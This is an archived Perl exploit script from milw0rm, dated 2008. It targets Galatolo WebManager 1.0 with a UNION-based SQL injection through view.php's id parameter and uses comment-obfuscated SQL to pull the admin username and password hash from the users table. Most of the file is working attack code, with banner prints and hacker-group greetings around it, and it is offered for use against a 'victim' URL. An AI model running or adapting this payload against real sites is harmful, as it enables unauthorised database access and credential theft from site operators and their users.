Galatolo Web Manager 1.0 - SQL Injection

#!/usr/bin/perl -w
# Portal   :  Galatolo WebManager 1.0
#  exploit aported password  crypted
#  exploit tatjibe password mcrypté :d
#  mgharba :d:d:d:d
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#[*] Founded &  Exploited by : Stack
#[*] Contact: Ev!L =>> see down
#[*] Greetz : Houssamix & Djekmani & Jadi & Simo64 & iuoisn & All muslims HaCkeRs  :)
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#----------------------------------------------------------------------------#
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# * TITLE:          PerlSploit Class
# * REQUIREMENTS:   PHP 4 / PHP 5
# * VERSION:        v.1
# * LICENSE:        GNU General Public License
# * ORIGINAL URL:   http://www.v4-Team/v4.txt
# * FILENAME:       PerlSploitClass.pl
# *
# * CONTACT:        Wanted  (french / english / arabic / moroco Darija :d )
# * THNX : AllaH
# * GREETZ:         Houssamix & Djekmani
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#----------------------------------------------------------------------------#
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system("color a");
print "\t\t############################################################\n\n";
print "\t\t#   Galatolo WebManager 1.0 <= - Remote SQL Inj Exploit   #\n\n";
print "\t\t#                          by Stack                       #\n\n";
print "\t\t############################################################\n\n";
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#----------------------------------------------------------------------------#
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use LWP::UserAgent;
die "Example: perl $0 http://victim.com/path/\n" unless @ARGV;
system("color f");
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#----------------------------------------------------------------------------#
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#the username of  news manages
$user="user";
#the pasword of  news manages
$pass="pass";
#the tables of news manages
$tab="users";
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#----------------------------------------------------------------------------#
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$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
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#----------------------------------------------------------------------------#
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$host = $ARGV[0] . "/view.php?id=-1'/**/union/**/select/**/concat(CHAR(60,117,115,101,114,62),".$user.",CHAR(60,117,115,101,114,62),".$pass."),32,4,5,6/**/from/**/".$tab."/**/where/**/id=1/*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
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#----------------------------------------------------------------------------#
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if ($answer =~ /<user>(.*?)<user>/){
        print "\nBrought to you by v4-team.com...\n";
        print "\n[+] Admin User : $1";
}
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#----------------------------------------------------------------------------#
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if ($answer =~/([0-9a-fA-F]{32})/){print "\n[+] Admin Hash : $1\n\n";
print "\t\t#   Exploit has ben aported user and password hash   #\n\n";}
else{print "\n[-] Exploit Failed...\n";}
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#-------------------         Exploit exploited by Stack       --------------------#
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# milw0rm.com [2008-06-09]